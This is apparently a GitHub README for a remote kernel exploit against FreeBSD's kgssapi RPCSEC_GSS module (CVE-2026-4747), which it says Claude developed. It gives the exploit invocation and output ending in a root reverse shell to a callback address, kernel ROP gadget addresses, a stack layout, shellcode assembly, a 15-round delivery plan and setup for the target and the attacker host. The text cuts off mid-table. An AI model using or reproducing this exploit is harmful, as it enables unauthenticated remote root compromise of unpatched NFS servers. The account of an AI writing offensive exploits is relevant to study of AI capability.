kaleth4/CVE-2026-4747-

GitHub: kaleth4/CVE-2026-4747-

这是一个针对 FreeBSD 内核 kgssapi 模块的远程代码执行利用工具,通过 RPCSEC_GSS 栈溢出实现无交互的 root 权限反弹 Shell。

Stars: 0 | Forks: 0

# CVE-2026-4747: FreeBSD 远程内核 RCE ## 📋 快速概要 | 方面 | 详情 | |---------|---------| | **CVE** | CVE-2026-4747 | | **漏洞** | `kgssapi.ko` 中的栈缓冲区溢出 (RPCSEC_GSS) | | **影响** | 远程内核代码执行 → uid 0 反弹 Shell | | **受影响版本** | FreeBSD 13.5, 14.3, 14.4, 15.0 (未修补版本) | | **发现者** | Nicholas Carlini 使用 Claude (Anthropic) | | **公告发布日期** | 2026-03-26 | | **利用耗时** | ~8 小时 (Claude 实际工作 4 小时) | ## 🎯 时间线 - **2026-03-26**: FreeBSD 发布公告 [CVE-2026-4747](https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc) - **2026-03-29 上午 9:45 PDT**: 请求 Claude 开发 exploit - **2026-03-29 下午 5:00 PDT**: Claude 交付带有 uid 0 反弹 Shell 的可用 exploit ## 🚀 现场演示 ``` python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444 ``` **输出:** ``` ============================================================== CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE Stack overflow → ROP → shellcode → uid 0 reverse shell ============================================================== Target: 127.0.0.1:2049 Callback: 10.0.2.2:4444 SPN: nfs/freebsd-vuln@TEST.LOCAL Shellcode: 432 bytes (54 qwords) Delivery: 15 rounds (1 pmap + 14 write) [R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓ [R2/15] write (4 qwords → 0xffffffff8198a800) ✓ [R3/15] write (4 qwords → 0xffffffff8198a820) ✓ ... [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓ [*] Shellcode delivered and executing [*] kproc_create → kern_execve('/bin/sh -c ...') [*] Reverse shell → 10.0.2.2:4444 [+] Connection from 127.0.0.1:41320 [+] Got shell! sh: can't access tty; job control turned off # id uid=0(root) gid=0(wheel) groups=0(wheel) ``` ## 🔍 Claude 做了什么? Claude 解决了 **6 个不同的技术难题**,从而从安全公告实现了可用的反弹 Shell: ### 1️⃣ **实验室环境搭建** - FreeBSD 14.4-RELEASE 虚拟机,配置 NFS + Kerberos - **关键要求**: 2+ 个 CPU (exploit 每轮会杀掉 1 个 NFS 线程,需要 15 轮) - 远程调试以读取内核崩溃转储 ### 2️⃣ **多包投递** - 432 字节的 Shellcode 无法放入 1 个包 (XDR 限制: 400 字节) - 解决方案: **15 轮** 溢出 - 第 1 轮: `pmap_change_prot()` → 可执行 BSS - 第 2-14 轮: 每轮写入 32 字节 Shellcode - 第 15 轮: 最后 16 字节 + 跳转到 Shellcode ### 3️⃣ **线程干净退出** - 每次溢出劫持一个 NFS worker 线程 - 使用 `kthread_exit()` 干净地终止 (无 kernel panic) - NFS 服务器保持存活以进行下一轮 ### 4️⃣ **偏移调试 (De Bruijn 模式)** - 初始反汇编显示 RIP 位于第 168 字节 → **错误** - Claude 发送了循环 De Bruijn 模式 - 读取内核崩溃转储 → 实际偏移: **第 200 字节** - 32 字节的差异: GSS 头部 + 上下文处理 ### 5️⃣ **内核 → 用户态切换** - NFS 线程是纯内核线程 (无 vmspace,无 trapframe) - 两阶段解决方案: - **阶段 1**: `kproc_create()` → 创建具有用户态基础设施的新进程 - **阶段 2**: `kern_execve("/bin/sh")` → 加载 ELF,配置 trapframe,清除 `P_KPROC` 标志 - 结果: `/bin/sh` 在 ring 3 以 uid 0 身份执行 ### 6️⃣ **调试寄存器之谜 (DR7/DDB)** - Worker 在有效指令处因 `trap 1` (调试异常) 崩溃 - 原因: `kproc_create()` 继承父进程的调试寄存器 - 之前的 panic 激活了 DDB → 持久的硬件断点 - 修复: 在 `kproc_create()` 之前清除 DR7 ## 🏗️ 技术架构 ### 栈布局 (通过 De Bruijn 验证) ``` Credential body byte → Stack target [0..35] → GSS header (version, proc, seq, svc, handle) [36..151] → Padding (rpchdr remainder + local vars) [152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP) [200..207] → RETURN ADDRESS ← Primer gadget ROP [208..399] → ROP chain (192 bytes = 24 qwords) ``` ### ROP Gadgets (FreeBSD 14.4-RELEASE) | Gadget | 地址 | 用途 | |--------|-----------|----------| | `pop rdi; ret` | `K+0x1adcda` | 参数 1 (rdi) | | `pop rsi; ret` | `K+0x1cdf98` | 参数 2 (rsi) | | `pop rdx; ret` | `K+0x5fa429` | 参数 3 (rdx) | | `pop rax; ret` | `K+0x400cb4` | 待写入值 | | `mov [rdi], rax; ret` | `0xffffffff80e3457c` | **8 字节任意写入** | 其中 `K = 0xffffffff80200000` (内核基址,FreeBSD 14.x 中未启用 KASLR) ### Shellcode (432 字节) **阶段 1 - 入口 (被劫持的 NFS 线程):** ``` mov rax, 0xffffffff8198bf00 ; Pivote de stack a BSS mov rsp, rax xor eax, eax mov dr7, rax ; Limpia breakpoints de hardware call rbx ; kproc_create (preloaded en RBX) mov rax, kthread_exit call rax ; Termina hilo limpiamente ``` **阶段 2 - Worker (新内核进程):** ``` ; Configura argumentos para kern_execve lea rdi, [rbp - 0x80] ; &image_args mov rsi, "/bin/sh" mov edx, 1 ; UIO_SYSSPACE call exec_args_add_fname ; Añade "-c" y comando reverse shell ; ... ; Ejecuta /bin/sh mov rdi, gs:[0] ; curthread mov rax, [rdi + 0x08] ; proc call kern_execve ; Limpia P_KPROC flag and byte [rax + 0xb8], 0xfb ; Permite transición a userland ret ; → fork_exit → userret → iretq → ring 3 ``` ## 🛠️ 目标配置 ### 选项 A: QEMU (使用 cloud-init 自动化) ``` # Descarga imagen wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\ FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G # Cloud-init config cat > user-data << 'EOF' #cloud-config chpasswd: list: | root:freebsd expire: False runcmd: - kldload kgssapi - sysrc rpcbind_enable=YES nfs_server_enable=YES - service rpcbind start && service nfsd start EOF # Boot con port forwarding qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \ -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \ -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \ -device virtio-net-pci,netdev=net0 -nographic ``` ### 选项 B: VMware / VirtualBox / bhyve (手动) **要求:** - **2+ 个 CPU** (关键: 8 个 NFS 线程/CPU,exploit 需要 15 轮) - 2GB RAM, 8GB 磁盘 - FreeBSD 14.4-RELEASE **在虚拟机中设置:** ``` # 1. Instalar Kerberos pkg install -y krb5 # 2. Crear KDC cat > /etc/krb5.conf << 'EOF' [libdefaults] default_realm = TEST.LOCAL [realms] TEST.LOCAL = { kdc = 127.0.0.1 admin_server = 127.0.0.1 } EOF # 3. Inicializar base de datos KDC /usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL # 4. Crear principals (reemplaza "test" con tu hostname) /usr/local/sbin/kadmin.local -q "addprinc -pw password testuser@TEST.LOCAL" /usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/test@TEST.LOCAL" /usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/test@TEST.LOCAL" # 5. Iniciar KDC /usr/local/sbin/krb5kdc # 6. Configurar NFS mkdir -p /export echo '/export -network 0.0.0.0/0' > /etc/exports # 7. Habilitar servicios sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES service rpcbind start && service nfsd start # 8. Verificar sysctl vfs.nfsd.threads # Debe mostrar 16 (con 2 CPUs) sockstat -l | grep 2049 # Debe mostrar tcp4/tcp6 ``` ### 在攻击主机上设置 (Linux) ``` # 1. Instalar paquetes sudo apt install krb5-user libkrb5-dev python3-gssapi pip install gssapi # 2. Configurar /etc/krb5.conf sudo tee /etc/krb5.conf << EOF [libdefaults] default_realm = TEST.LOCAL rdns = false # CRÍTICO: evita canonicalización DNS dns_canonicalize_hostname = false [realms] TEST.LOCAL = { kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) o 192.168.x.x:88 (bridged) } EOF # 3. Añadir hostname a /etc/hosts echo "VM_IP test" | sudo tee -a /etc/hosts # 4. Obtener ticket Kerberos echo "password" | kinit testuser@TEST.LOCAL klist # 5. (Opcional) Instalar ROPgadget para encontrar gadgets nuevos pip install ROPgadget ``` ## 🎪 利用策略 ### 第 1 轮: 使 BSS 可执行 ``` ROP chain: pop rdi → rdi = 0xffffffff8198a000 (BSS page) pop rsi → rsi = 0x2000 (2 páginas = 8KB) pop rdx → rdx = 7 (VM_PROT_ALL = RWX) pmap_change_prot → cambia permisos a RWX pop rdi → rdi = 0 kthread_exit → termina hilo limpiamente ``` ### 第 2–14 轮: 写入 Shellcode 每轮向 BSS 写入 32 字节 (4 个 qword): ``` ROP chain template: pop rdi → rdi = BSS_SC + offset pop rax → rax = shellcode_qword mov [rdi], rax → escribe 8 bytes (repetir 3 veces más) pop rdi → 0 kthread_exit → termina ``` **代价:** 40 字节 ROP / 8 字节写入 → 共 15 轮 ### 第 15 轮: 跳转到 Shellcode ``` ROP chain: pop rdi → rdi = BSS_SC + 416 pop rax → rax = último qword mov [rdi], rax → escribe (repetir) BSS_SC → ¡SALTA A SHELLCODE! ``` ## 🐛 已解决的挑战 | 问题 | 原因 | 解决方案 | |----------|-------|----------| | **RIP 偏移不正确** | 静态反汇编未计算 GSS 头部 | De Bruijn 模式 + 读取崩溃转储 | | **MIT/Heimdal 不兼容** | DNS 主机名规范化 | `rdns = false` + `dns_canonicalize_hostname = false` | | **Worker 发生 Trap 1** | 从 DDB 继承的调试寄存器 | 在 `kproc_create()` 之前清除 DR7 | | **Shellcode 放不下** | 432 字节 > 400 字节 (XDR 限制) | 多轮投
标签:CISA项目, CVE-2026-4747, Exploit开发, FreeBSD, HTTP, Kernel Exploit, kgssapi.ko, NFS, RCE, Root权限, ROP链, RPCSEC_GSS, Shellcode, Web报告查看器, 二进制安全, 云资产清单, 人工智能安全, 内核漏洞, 合规性, 技术调研, 栈溢出, 编程工具, 网络安全, 进程监控, 远程代码执行, 逆向工具, 逆向工程, 隐私保护